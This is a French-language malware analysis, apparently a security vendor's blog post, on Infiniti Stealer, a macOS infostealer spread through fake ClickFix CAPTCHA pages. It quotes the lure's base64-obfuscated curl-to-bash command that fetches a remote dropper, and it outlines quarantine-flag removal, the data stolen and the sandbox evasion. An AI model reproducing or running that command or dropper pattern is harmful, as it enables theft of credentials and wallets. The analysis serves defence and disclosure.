Un logiciel malveillant de vol d'informations sous macOS, jusqu'alors inconnu, a été découvert lors de notre surveillance régulière des menaces. Nous l'avions initialement identifié sous le nom de NukeChain, mais peu avant la publication de cet article, le panneau de contrôle de ce logiciel malveillant a été rendu public, révélant ainsi son véritable nom : Infiniti Stealer.
Ce logiciel malveillant est conçu pour voler des données sensibles sur les Mac. Il se propage via une fausse page CAPTCHA qui incite les utilisateurs à exécuter eux-mêmes une commande : une technique connue sous le nom de ClickFix. Plutôt que d'exploiter une faille, il repose sur l'ingénierie sociale.
La charge utile finale est écrite en Python et compilée avec Nuitka, ce qui donne un binaire natif pour macOS. Cela la rend plus difficile à analyser et à détecter que les logiciels malveillants classiques basés sur Python.
À notre connaissance, il s'agit de la première campagne macOS répertoriée combinant la diffusion de ClickFix et un programme de vol de données Python compilé avec Nuitka.
ClickFix : l'ingénierie sociale plutôt que les failles
ClickFix ne s'appuie pas sur des failles logicielles. Il repose plutôt sur le fait de convaincre l'utilisateur d'exécuter lui-même une commande.
Une fausse page de vérification invite le visiteur à ouvrir Terminal, à coller une commande et à appuyer sur Entrée. Une fois la commande exécutée, le processus d'infection démarre immédiatement. Cette technique s'est popularisée sur Windows , mais elle est désormais adaptée à macOS, avec des instructions spécifiques à cette plateforme : Commande + Espace > ouvrir Terminal > coller la commande
Comme l'utilisateur exécute la commande directement, de nombreux mécanismes de défense traditionnels sont contournés. Il n'y a ni exploit, ni pièce jointe malveillante, ni téléchargement furtif.
Génération de faux CAPTCHA
L'infection commence au niveau de update-check[.]com, qui affiche une réplique convaincante d'une page de vérification humaine de Cloudflare.

La page invite l'utilisateur à coller une commande de vérification dans Terminal :bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))

Une fois décodée, la chaîne de caractères renvoie à une URL hébergée sur le même domaine, qui fournit le script de dropper de première étape.
Étape 1 : Bash Dropper
La première charge utile est un script Bash utilisant un modèle déjà observé dans des logiciels de vol de données sous macOS tels que MacSync (également appelé SHub dans des études antérieures). Cela laisse supposer l'utilisation d'un générateur commun.
Ses fonctions sont simples :
- Décoder la charge utile intégrée
- Enregistrez le fichier binaire de la phase 2 dans
/tmp - Supprimez le drapeau de quarantaine à l'aide de
xattr -dr com.apple.quarantine - Exécutez le fichier binaire via
nohup - Transmettez le serveur de commande et de contrôle (C2) et le jeton d'authentification sous forme de variables d'environnement
- Supprimer le programme et fermer Terminal via AppleScript
Étape 2 : Nuitka Loader
Le fichier binaire fourni est un exécutable Mach-O pour Apple Silicon (~8,6 Mo), compilé à l'aide du mode « onefile » de Nuitka.
Son en-tête contient la signature suivante :
4b 41 59 28 b5 2f fd
Cela correspond à un KAY ( un en-tête suivi d'une archive compressée au format zstd utilisée par Nuitka pour empaqueter des applications Python.
Contrairement à PyInstaller, Nuitka compile le code source Python en C et génère un binaire natif, ce qui complique l'analyse statique.
Au moment de l'exécution, le chargeur décompresse environ 35 Mo de données intégrées et lance la charge utile finale.
Étape 3 : Charge utile du programme de vol de données Python
La charge utile finale, UpdateHelper[.]bin, est un programme de vol de données écrit en Python 3.11 et compilé avec Nuitka.

Malgré la compilation, le fichier binaire expose des milliers de symboles nommés, ce qui permet de reconstituer la structure de ses modules lors de l'analyse.
Ce logiciel malveillant cible un large éventail de données sensibles :
- Identifiants provenant des navigateurs basés sur Chromium et de Firefox
- Entrées du trousseau macOS
- Portefeuilles de cryptomonnaies
- Les secrets en clair dans les fichiers de développement tels que .env
- Captures d'écran réalisées pendant l'exécution
Les données sont exfiltrées à l'aide de requêtes HTTP POST.
Avant de commencer la collecte de données, le logiciel malveillant vérifie s'il s'exécute dans des environnements d'analyse connus, notamment :
- any.run
- Joe Sandbox
- Analyse hybride
- VMware
- VirtualBox
Il introduit également un délai d'exécution aléatoire afin de déjouer les systèmes d'analyse automatisés.
Une fois l'exfiltration terminée, une fonction nommée upload_complete() envoie une notification Telegram à l'opérateur et met en file d'attente les identifiants capturés en vue d'un craquage de mot de passe côté serveur.
Que faire si vous pensez être concerné
L'idée selon laquelle macOS serait une cible peu exposée aux logiciels malveillants continue de s'estomper.
Infiniti Stealer montre comment des techniques qui fonctionnaient sous Windows— comme ClickFix — sont désormais adaptées pour cibler Mac .
Il utilise également des techniques plus récentes, comme la compilation de Python en applications natives, ce qui rend le logiciel malveillant plus difficile à détecter et à analyser. Si cette approche s'avère efficace, nous pourrions assister à une recrudescence d'attaques de ce type.
Si vous avez suivi des instructions comme celles-ci ou copié-collé des commandes dans Terminal à partir d'un site web, agissez immédiatement :
- Cessez d'utiliser cet appareil pour des activités sensibles (opérations bancaires, messagerie électronique, comptes professionnels).
- Modifiez vos mots de passe sur un appareil qui n'a pas été infecté, en commençant par ceux de votre messagerie, de vos services bancaires et de votre identifiant Apple.
- Révoquer l'accès : se déconnecter des sessions actives et révoquer les jetons API et les clés SSH
- Recherchez les fichiers suspects dans
/tmpet~/Library/LaunchAgents/ - Lancez une Malwarebytes complète Malwarebytes pour détecter et supprimer tout logiciel malveillant restant.
N'oubliez pas : ne collez pas de commandes provenant de sites web dans Terminal. Aucun CAPTCHA légitime ne vous demande de le faire.
Indicateurs de compromis (IOC)
| Type | Valeur |
|---|---|
| Dropper MD5 | da73e42d1f9746065f061a6e85e28f0c |
| SHA256, étape 3 | 1e63be724bf651bb17bcf181d11bacfabef6a6360dcdfda945d6389e80f2b958 |
| domaine C2 | update-check[.]com |
| C2 URL | https://update-check[.]com/m/7d8df27d95d9 |
| Panneau C2 | Infiniti-stealer[.]com |
| La magie des Packers | 4b 41 59 28 b5 2f fd (KAY + zstd) |
| Journal de débogage | /tmp/.bs_debug.log |
| Chemin d'accès temporaire | /tmp/.2835b1b5098587a9XXXXXX (préfixe fixe, suffixe aléatoire) |
Remerciements
Merci à Marcelo Rivero pour l'analyse binaire.
Nous ne nous contentons pas de signaler les menaces, nous les éliminons.
Les risques de cybersécurité ne devraient jamais se propager au-delà d'un titre. Éliminez les menaces de vos appareils en téléchargeant Malwarebytes dès aujourd'hui.




